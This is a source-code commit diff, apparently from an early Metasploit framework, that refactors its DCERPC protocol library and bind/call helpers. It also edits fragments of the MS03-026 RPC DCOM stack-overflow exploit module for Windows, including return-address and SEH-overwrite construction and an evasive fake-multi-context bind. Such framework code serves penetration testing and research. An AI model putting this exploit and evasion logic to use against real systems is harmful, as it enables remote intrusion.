DCERPC foo
git-svn-id: file:///home/svn/incoming/trunk@2852 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
2aa3c8ff15
commit
5e5f7eed24
|
@ -9,17 +9,24 @@ module Msf
|
|||
#
|
||||
# This mixin provides utility methods for interacting with a DCERPC service on
|
||||
# a remote machine. These methods may generally be useful in the context of
|
||||
# exploitation. This mixin extends the Tcp exploit mixin.
|
||||
# exploitation. This mixin extends the Tcp exploit mixin. Only one DCERPC
|
||||
# service can be accessed at a time using this class.
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::DCERPC
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# Alias over the Rex DCERPC protocol modules
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
# OptInt.new('FragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127])
|
||||
# OptBool.new('MultiBind', [ 0, 'Configure multi-context bind calls', 'T' ])
|
||||
OptInt.new('DCEFragSize', [ 1, 'Set the DCERPC packet fragmentation size', 127])
|
||||
OptBool.new('DCEMultiBind', [ 0, 'Configure multi-context bind calls', 'T' ])
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
|
@ -27,19 +34,129 @@ module Exploit::Remote::DCERPC
|
|||
], Msf::Exploit::Remote::DCERPC)
|
||||
end
|
||||
|
||||
# Connect to the host/port specified by datastore['RHOST'], datastore['RPORT']
|
||||
# Returns the context id on success and nil on failure
|
||||
def connect_bind (uuid, vers)
|
||||
#
|
||||
# Generate a DCERPC bind request and send it on the default socket
|
||||
#
|
||||
def dcerpc_bind (uuid, vers = nil)
|
||||
|
||||
# 1. Create the socket and connect to the target system
|
||||
# Create the bind request
|
||||
bind, ctx = dcerpc_make_bind(uuid, vers)
|
||||
if (bind == nil)
|
||||
return
|
||||
end
|
||||
|
||||
# 2. Call Rex::Proto::DCERPC::Client to generate the BIND packet(s)
|
||||
# Verify that the socket exists
|
||||
if (sock == nil)
|
||||
return
|
||||
end
|
||||
|
||||
# 3. Send the BIND packets and parse the response
|
||||
# Send the bind request
|
||||
sock.put(bind)
|
||||
|
||||
# Parse the response
|
||||
resp = DCERPCClient.read_response(sock)
|
||||
if (resp.ack_result[ctx] != 0)
|
||||
print_status("Failed to bind to UUID " + uuid)
|
||||
return
|
||||
end
|
||||
|
||||
return resp
|
||||
end
|
||||
|
||||
#
|
||||
# Generate DCERPC request packets and send them on the default socket
|
||||
#
|
||||
def dcerpc_call (func, stub)
|
||||
|
||||
# Create the request packets
|
||||
pkts = dcerpc_make_call(func, stub)
|
||||
if (pkts == nil)
|
||||
return
|
||||
end
|
||||
|
||||
# Verify that the socket exists
|
||||
if (sock == nil)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending " + pkts.size.to_s + " DCERPC fragments...")
|
||||
pkts.each { |chunk| sock.put(chunk) }
|
||||
resp = DCERPCClient.read_response(sock)
|
||||
return resp
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the DCERPC bind request packet
|
||||
#
|
||||
def dcerpc_make_bind (uuid, vers = nil)
|
||||
# Resolve the UUID if only the name was supplied
|
||||
if (vers == nil)
|
||||
vers = DCERPCUUID.vers_by_name(uuid)
|
||||
uuid = DCERPCUUID.uuid_by_name(uuid)
|
||||
end
|
||||
|
||||
|
||||
# Verify that the uuid was resolved and is valid
|
||||
if (uuid == nil)
|
||||
print_status("Invalid UUID")
|
||||
return
|
||||
end
|
||||
|
||||
bind, ctx = nil, nil
|
||||
|
||||
if (datastore['DCEMultiBind'])
|
||||
bind, ctx = DCERPCPacket.make_bind_fake_multi(uuid, vers, 10, 4)
|
||||
else
|
||||
bind, ctx = DCERPCPacket.make_bind(uuid, vers)
|
||||
end
|
||||
|
||||
# Cache the context value for future requests
|
||||
self.dcerpc_bind_context = ctx
|
||||
|
||||
return bind, ctx
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the DCERPC request packets, broken up into DCEFragSize chunks
|
||||
#
|
||||
def dcerpc_make_call (func, stub, ctx = self.dcerpc_bind_context)
|
||||
DCERPCPacket.make_request(
|
||||
func,
|
||||
stub,
|
||||
datastore['DCEFragSize'].to_i || stub.length,
|
||||
ctx
|
||||
)
|
||||
end
|
||||
|
||||
# Used to track the last DCERPC context
|
||||
attr_accessor :dcerpc_bind_context
|
||||
|
||||
# 4. Return the context id back to the calling function
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
__END__
|
||||
|
||||
u = Rex::Proto::DCERPC::UUID.new()
|
||||
|
||||
uuid = u.uuid_by_name('REMACT')
|
||||
vers = u.vers_by_name('REMACT')
|
||||
|
||||
print_status("Attempting to bind to the RemoteActivator interface...")
|
||||
bind_pkt, ctx = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(uuid, vers, 10, 4)
|
||||
|
||||
sock.put(bind_pkt)
|
||||
resp = d.read_response(sock)
|
||||
|
||||
if (resp.ack_result[ctx] != 0)
|
||||
print_status("DCERPC bind to the RemoteActivator interface failed")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Successful bind to the RemoteActivator interface")
|
||||
|
||||
print_status("Sending the malicious DCERPC request...")
|
||||
Rex::Proto::DCERPC::Packet.make_request(0, stubdata, 256, ctx).each do |chunk|
|
||||
sock.put(chunk)
|
||||
end
|
||||
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
require 'rex/proto/dcerpc/uuid'
|
||||
require 'rex/proto/dcerpc/response'
|
||||
require 'rex/proto/dcerpc/client'
|
||||
require 'rex/proto/dcerpc/packet'
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'rex/proto/dcerpc/response'
|
|||
require 'rex/text'
|
||||
|
||||
# Process a DCERPC response packet from a socket
|
||||
def read_response (socket)
|
||||
def self.read_response (socket)
|
||||
|
||||
head = socket.timed_read(10, 5)
|
||||
# rescue
|
||||
|
@ -23,8 +23,11 @@ require 'rex/text'
|
|||
return resp
|
||||
end
|
||||
|
||||
begin
|
||||
body = socket.timed_read(resp.frag_len - 10, 10)
|
||||
# rescue
|
||||
rescue Timeout::Error
|
||||
puts "Error: #{ $! }"
|
||||
end
|
||||
|
||||
if (body.nil? or body.length() != resp.frag_len - 10)
|
||||
return resp
|
||||
|
@ -34,228 +37,6 @@ require 'rex/text'
|
|||
return resp
|
||||
end
|
||||
|
||||
# Create a standard DCERPC BIND request packet
|
||||
def make_bind (uuid, vers)
|
||||
u = Rex::Proto::DCERPC::UUID.new()
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||
|
||||
# Create the bind request packet
|
||||
buff =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
11, # bind type
|
||||
3, # flags
|
||||
0x10000000, # data representation
|
||||
72, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
5840, # max xmit frag
|
||||
5840, # max recv frag
|
||||
0, # assoc group
|
||||
1, # num ctx items
|
||||
0, # context id
|
||||
1, # num trans items
|
||||
u.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
|
||||
return buff, 0
|
||||
end
|
||||
|
||||
# Create an obfuscated DCERPC BIND request packet
|
||||
def make_bind_fake_multi(uuid, vers, bind_head=rand(6)+10, bind_tail=rand(4))
|
||||
u = Rex::Proto::DCERPC::UUID.new()
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||
|
||||
bind_total = bind_head + bind_tail + 1
|
||||
bind_size = (bind_total * 44) + 28
|
||||
real_ctx, ctx = 0, 0
|
||||
|
||||
# Create the header of the bind request
|
||||
data =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
11, # bind type
|
||||
3, # flags
|
||||
0x10000000, # data representation
|
||||
bind_size, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
5840, # max xmit frag
|
||||
5840, # max recv frag
|
||||
0, # assoc group
|
||||
bind_total, # num ctx items
|
||||
].pack('CCCCNvvVvvVV')
|
||||
|
||||
# Generate the fake UUIDs prior to the real one
|
||||
1.upto(bind_head) do ||
|
||||
# Generate some random UUID and versions
|
||||
rand_uuid = Rex::Text.rand_text(16)
|
||||
rand_imaj = rand(6)
|
||||
rand_imin = rand(4)
|
||||
|
||||
data +=
|
||||
[
|
||||
ctx, # context id
|
||||
1, # num trans items
|
||||
rand_uuid, # interface uuid
|
||||
rand_imaj, # interface major version
|
||||
rand_imin, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('vvA16vvA16vv')
|
||||
ctx += 1
|
||||
end
|
||||
|
||||
# Stuff the real UUID onto the end of the buffer
|
||||
real_ctx = ctx;
|
||||
data +=
|
||||
[
|
||||
ctx, # context id
|
||||
1, # num trans items
|
||||
u.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('vvA16vvA16vv')
|
||||
ctx += 1
|
||||
|
||||
|
||||
# Generate the fake UUIDs after the real one
|
||||
1.upto(bind_tail) do ||
|
||||
# Generate some random UUID and versions
|
||||
rand_uuid = Rex::Text.rand_text(16)
|
||||
rand_imaj = rand(6)
|
||||
rand_imin = rand(4)
|
||||
|
||||
data +=
|
||||
[
|
||||
ctx, # context id
|
||||
1, # num trans items
|
||||
rand_uuid, # interface uuid
|
||||
rand_imaj, # interface major version
|
||||
rand_imin, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('vvA16vvA16vv')
|
||||
ctx += 1
|
||||
end
|
||||
|
||||
# Return both the bind packet and the real context_id
|
||||
return data, real_ctx
|
||||
end
|
||||
|
||||
# Create a standard DCERPC ALTER_CONTEXT request packet
|
||||
def make_alter_context (uuid, vers)
|
||||
u = Rex::Proto::DCERPC::UUID.new()
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||
|
||||
buff =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
14, # alter context
|
||||
3, # flags
|
||||
0x10000000, # data representation
|
||||
72, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
5840, # max xmit frag
|
||||
5840, # max recv frag
|
||||
0, # assoc group
|
||||
1, # num ctx items
|
||||
0, # context id
|
||||
1, # num trans items
|
||||
u.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
end
|
||||
|
||||
|
||||
# Used to create a piece of a DCERPC REQUEST packet
|
||||
def make_request_chunk (flags=3, opnum=0, data="", ctx=0)
|
||||
|
||||
dlen = data.length
|
||||
flen = dlen + 24
|
||||
|
||||
buff =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
0, # request type
|
||||
flags, # flags
|
||||
0x10000000, # data representation
|
||||
flen, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
dlen, # alloc hint
|
||||
ctx, # context id
|
||||
opnum, # operation number
|
||||
].pack('CCCCNvvVVvv') + data
|
||||
end
|
||||
|
||||
# Used to create standard DCERPC REQUEST packet(s)
|
||||
def make_request (opnum=0, data="", size=data.length, ctx=0)
|
||||
|
||||
dlen = data.length
|
||||
chunks, frags = [], []
|
||||
ptr = 0
|
||||
|
||||
# Break the request into fragments of 'size' bytes
|
||||
while ptr < data.length
|
||||
chunks.push( data[ ptr, size ] )
|
||||
ptr += size
|
||||
end
|
||||
|
||||
# Process requests with no stub data
|
||||
if chunks.length == 0
|
||||
frags.push( make_request_chunk(3, opnum, '', ctx) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Process requests with only one fragment
|
||||
if chunks.length == 1
|
||||
frags.push( make_request_chunk(3, opnum, chunks[0], ctx) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Create the first fragment of the request
|
||||
frags.push( make_request_chunk(1, opnum, chunks.shift, ctx) )
|
||||
|
||||
# Create all of the middle fragments
|
||||
while chunks.length != 1
|
||||
frags.push( make_request_chunk(0, opnum, chunks.shift, ctx) )
|
||||
end
|
||||
|
||||
# Create the last fragment of the request
|
||||
frags.push( make_request_chunk(2, opnum, chunks.shift, ctx) )
|
||||
|
||||
return frags
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,235 @@
|
|||
module Rex
|
||||
module Proto
|
||||
module DCERPC
|
||||
class Packet
|
||||
|
||||
require 'rex/proto/dcerpc/uuid'
|
||||
require 'rex/proto/dcerpc/response'
|
||||
require 'rex/text'
|
||||
|
||||
# Create a standard DCERPC BIND request packet
|
||||
def self.make_bind (uuid, vers)
|
||||
u = Rex::Proto::DCERPC::UUID
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||
|
||||
# Create the bind request packet
|
||||
buff =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
11, # bind type
|
||||
3, # flags
|
||||
0x10000000, # data representation
|
||||
72, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
5840, # max xmit frag
|
||||
5840, # max recv frag
|
||||
0, # assoc group
|
||||
1, # num ctx items
|
||||
0, # context id
|
||||
1, # num trans items
|
||||
u.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
|
||||
return buff, 0
|
||||
end
|
||||
|
||||
# Create an obfuscated DCERPC BIND request packet
|
||||
def self.make_bind_fake_multi(uuid, vers, bind_head=rand(6)+10, bind_tail=rand(4))
|
||||
u = Rex::Proto::DCERPC::UUID
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||
|
||||
bind_total = bind_head + bind_tail + 1
|
||||
bind_size = (bind_total * 44) + 28
|
||||
real_ctx, ctx = 0, 0
|
||||
|
||||
# Create the header of the bind request
|
||||
data =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
11, # bind type
|
||||
3, # flags
|
||||
0x10000000, # data representation
|
||||
bind_size, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
5840, # max xmit frag
|
||||
5840, # max recv frag
|
||||
0, # assoc group
|
||||
bind_total, # num ctx items
|
||||
].pack('CCCCNvvVvvVV')
|
||||
|
||||
# Generate the fake UUIDs prior to the real one
|
||||
1.upto(bind_head) do ||
|
||||
# Generate some random UUID and versions
|
||||
rand_uuid = Rex::Text.rand_text(16)
|
||||
rand_imaj = rand(6)
|
||||
rand_imin = rand(4)
|
||||
|
||||
data +=
|
||||
[
|
||||
ctx, # context id
|
||||
1, # num trans items
|
||||
rand_uuid, # interface uuid
|
||||
rand_imaj, # interface major version
|
||||
rand_imin, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('vvA16vvA16vv')
|
||||
ctx += 1
|
||||
end
|
||||
|
||||
# Stuff the real UUID onto the end of the buffer
|
||||
real_ctx = ctx;
|
||||
data +=
|
||||
[
|
||||
ctx, # context id
|
||||
1, # num trans items
|
||||
u.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('vvA16vvA16vv')
|
||||
ctx += 1
|
||||
|
||||
|
||||
# Generate the fake UUIDs after the real one
|
||||
1.upto(bind_tail) do ||
|
||||
# Generate some random UUID and versions
|
||||
rand_uuid = Rex::Text.rand_text(16)
|
||||
rand_imaj = rand(6)
|
||||
rand_imin = rand(4)
|
||||
|
||||
data +=
|
||||
[
|
||||
ctx, # context id
|
||||
1, # num trans items
|
||||
rand_uuid, # interface uuid
|
||||
rand_imaj, # interface major version
|
||||
rand_imin, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('vvA16vvA16vv')
|
||||
ctx += 1
|
||||
end
|
||||
|
||||
# Return both the bind packet and the real context_id
|
||||
return data, real_ctx
|
||||
end
|
||||
|
||||
# Create a standard DCERPC ALTER_CONTEXT request packet
|
||||
def self.make_alter_context (uuid, vers)
|
||||
u = Rex::Proto::DCERPC::UUID
|
||||
|
||||
# Process the version strings ("1.0", 1.0, "1", 1)
|
||||
bind_vers_maj, bind_vers_min = u.vers_to_nums(vers)
|
||||
xfer_vers_maj, xfer_vers_min = u.vers_to_nums(u.xfer_syntax_vers)
|
||||
|
||||
buff =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
14, # alter context
|
||||
3, # flags
|
||||
0x10000000, # data representation
|
||||
72, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
5840, # max xmit frag
|
||||
5840, # max recv frag
|
||||
0, # assoc group
|
||||
1, # num ctx items
|
||||
0, # context id
|
||||
1, # num trans items
|
||||
u.uuid_pack(uuid), # interface uuid
|
||||
bind_vers_maj, # interface major version
|
||||
bind_vers_min, # interface minor version
|
||||
u.xfer_syntax_uuid, # transfer syntax
|
||||
xfer_vers_maj, # syntax major version
|
||||
xfer_vers_min, # syntax minor version
|
||||
].pack('CCCCNvvVvvVVvvA16vvA16vv')
|
||||
end
|
||||
|
||||
|
||||
# Used to create a piece of a DCERPC REQUEST packet
|
||||
def self.make_request_chunk (flags=3, opnum=0, data="", ctx=0)
|
||||
|
||||
dlen = data.length
|
||||
flen = dlen + 24
|
||||
|
||||
buff =
|
||||
[
|
||||
5, # major version 5
|
||||
0, # minor version 0
|
||||
0, # request type
|
||||
flags, # flags
|
||||
0x10000000, # data representation
|
||||
flen, # frag length
|
||||
0, # auth length
|
||||
0, # call id
|
||||
dlen, # alloc hint
|
||||
ctx, # context id
|
||||
opnum, # operation number
|
||||
].pack('CCCCNvvVVvv') + data
|
||||
end
|
||||
|
||||
# Used to create standard DCERPC REQUEST packet(s)
|
||||
def self.make_request (opnum=0, data="", size=data.length, ctx=0)
|
||||
|
||||
dlen = data.length
|
||||
chunks, frags = [], []
|
||||
ptr = 0
|
||||
|
||||
# Break the request into fragments of 'size' bytes
|
||||
while ptr < data.length
|
||||
chunks.push( data[ ptr, size ] )
|
||||
ptr += size
|
||||
end
|
||||
|
||||
# Process requests with no stub data
|
||||
if chunks.length == 0
|
||||
frags.push( make_request_chunk(3, opnum, '', ctx) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Process requests with only one fragment
|
||||
if chunks.length == 1
|
||||
frags.push( make_request_chunk(3, opnum, chunks[0], ctx) )
|
||||
return frags
|
||||
end
|
||||
|
||||
# Create the first fragment of the request
|
||||
frags.push( make_request_chunk(1, opnum, chunks.shift, ctx) )
|
||||
|
||||
# Create all of the middle fragments
|
||||
while chunks.length != 1
|
||||
frags.push( make_request_chunk(0, opnum, chunks.shift, ctx) )
|
||||
end
|
||||
|
||||
# Create the last fragment of the request
|
||||
frags.push( make_request_chunk(2, opnum, chunks.shift, ctx) )
|
||||
|
||||
return frags
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -27,7 +27,7 @@ class Response
|
|||
self.raw = self.raw + body
|
||||
self.type = self.raw[2,1].unpack('C')[0]
|
||||
|
||||
uuid = Rex::Proto::DCERPC::UUID.new()
|
||||
uuid = Rex::Proto::DCERPC::UUID
|
||||
data = self.raw
|
||||
|
||||
# BIND_ACK == 12, ALTER_CONTEXT_RESP == 15
|
||||
|
|
|
@ -3,8 +3,8 @@ module Proto
|
|||
module DCERPC
|
||||
class UUID
|
||||
|
||||
def initialize
|
||||
@known_uuids =
|
||||
|
||||
@@known_uuids =
|
||||
{
|
||||
'MGMT' => [ 'afa8bd80-7d8a-11c9-bef4-08002b102989', '2.0' ],
|
||||
'REMACT' => [ '4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0' ],
|
||||
|
@ -15,10 +15,10 @@ class UUID
|
|||
'EVENTLOG' => [ '82273fdc-e32a-18c3-3f78-827929dc23ea', '0.0' ],
|
||||
'SVCCTL' => [ '367abb81-9844-35f1-ad32-98f038001003', '2.0' ]
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
# Convert a UUID in binary format to the string representation
|
||||
def uuid_unpack(uuid_bin)
|
||||
def self.uuid_unpack(uuid_bin)
|
||||
sprintf("%.8x-%.4x-%.4x-%.4x-%s",
|
||||
uuid_bin[ 0, 4].unpack('V')[0],
|
||||
uuid_bin[ 4, 2].unpack('v')[0],
|
||||
|
@ -29,37 +29,37 @@ class UUID
|
|||
end
|
||||
|
||||
# Convert a UUID in string format to the binary representation
|
||||
def uuid_pack (uuid_str)
|
||||
def self.uuid_pack (uuid_str)
|
||||
parts = uuid_str.split('-')
|
||||
[ parts[0].hex, parts[1].hex, parts[2].hex, parts[3].hex ].pack('Vvvn') + [ parts[4] ].pack('H*')
|
||||
end
|
||||
|
||||
# Provide the common TransferSyntax UUID in packed format
|
||||
def xfer_syntax_uuid ()
|
||||
def self.xfer_syntax_uuid ()
|
||||
self.uuid_pack('8a885d04-1ceb-11c9-9fe8-08002b104860')
|
||||
end
|
||||
|
||||
# Provide the common TransferSyntax version number
|
||||
def xfer_syntax_vers ()
|
||||
def self.xfer_syntax_vers ()
|
||||
'2.0'
|
||||
end
|
||||
|
||||
# Determine the UUID string for the DCERPC service with this name
|
||||
def uuid_by_name (name)
|
||||
if @known_uuids.key?(name)
|
||||
@known_uuids[name][0]
|
||||
def self.uuid_by_name (name)
|
||||
if @@known_uuids.key?(name)
|
||||
@@known_uuids[name][0]
|
||||
end
|
||||
end
|
||||
|
||||
# Determine the common version number for the DCERPC service with this name
|
||||
def vers_by_name (name)
|
||||
if @known_uuids.key?(name)
|
||||
@known_uuids[name][1]
|
||||
def self.vers_by_name (name)
|
||||
if @@known_uuids.key?(name)
|
||||
@@known_uuids[name][1]
|
||||
end
|
||||
end
|
||||
|
||||
# Convert a string or number in float format to two unique numbers 2.0 => [2, 0]
|
||||
def vers_to_nums (vers)
|
||||
def self.vers_to_nums (vers)
|
||||
vers_maj = vers.to_i
|
||||
vers_min = ((vers.to_f - vers.to_i) * 10).to_i
|
||||
return vers_maj, vers_min
|
||||
|
|
|
@ -12,11 +12,12 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft RPC DCOM MSO3-026',
|
||||
'Description' =>
|
||||
"This module exploits a stack overflow in the RPCSS service, this vulnerability" +
|
||||
"was originally found by the Last Stage of Delirium research group and has been" +
|
||||
"widely exploited ever since. This module can exploit the English versions of " +
|
||||
"Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)",
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in the RPCSS service, this vulnerability
|
||||
was originally found by the Last Stage of Delirium research group and has bee
|
||||
widely exploited ever since. This module can exploit the English versions of
|
||||
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
|
||||
},
|
||||
'Author' => [ 'hdm', 'spoonm' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
|
@ -59,9 +60,11 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("Connecting to the target system...")
|
||||
connect
|
||||
|
||||
|
||||
#
|
||||
# Create the gigantic stub used to exploit 7 targets at the same time
|
||||
#
|
||||
print_status("Building the malicious DCERPC request...")
|
||||
|
||||
# Carefully create the combination of addresses and code for cross-os exploitation
|
||||
|
@ -88,7 +91,6 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
|||
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')
|
||||
xpseh[ 314, jmpsc.length ] = jmpsc
|
||||
|
||||
|
||||
#
|
||||
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
|
||||
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
|
||||
|
@ -152,38 +154,30 @@ class Exploits::Windows::MSRPC_DCOM_MS03_026 < Msf::Exploit::Remote
|
|||
"\xc0\x00\x00\x00\x00\x00\x00\x46\x01\x00\x00\x00\x01\x00\x00\x00" +
|
||||
"\x07\x00"
|
||||
|
||||
|
||||
# Pad, calculate, set number of wide chars in path
|
||||
pathsz = (((uncpath.length + 11) & ~7) / 2)
|
||||
stubdata[ 52, 4 ] = [ pathsz ].pack('V')
|
||||
stubdata[ 60, 4 ] = [ pathsz ].pack('V')
|
||||
|
||||
d = Rex::Proto::DCERPC::Client.new()
|
||||
u = Rex::Proto::DCERPC::UUID.new()
|
||||
|
||||
uuid = u.uuid_by_name('REMACT')
|
||||
vers = u.vers_by_name('REMACT')
|
||||
|
||||
print_status("Attempting to bind to the RemoteActivator interface...")
|
||||
bind_pkt, ctx = d.make_bind_fake_multi(uuid, vers, 10, 4)
|
||||
|
||||
sock.put(bind_pkt)
|
||||
resp = d.read_response(sock)
|
||||
|
||||
if (resp.ack_result[ctx] != 0)
|
||||
print_status("DCERPC bind to the RemoteActivator interface failed")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Successful bind to the RemoteActivator interface")
|
||||
|
||||
print_status("Sending the malicious DCERPC request...")
|
||||
d.make_request(0, stubdata, 256, ctx).each do |chunk|
|
||||
sock.put(chunk)
|
||||
end
|
||||
#
|
||||
# Connect to the remote MSRPC service
|
||||
#
|
||||
print_status("Connecting to the target system...")
|
||||
connect
|
||||
|
||||
#
|
||||
# Bind to the UUID and call the vulnerable function
|
||||
#
|
||||
res = self.dcerpc_bind('REMACT')
|
||||
return if res == nil
|
||||
self.dcerpc_call(0, stubdata)
|
||||
|
||||
#
|
||||
# Perform any required client-side payload handling
|
||||
#
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue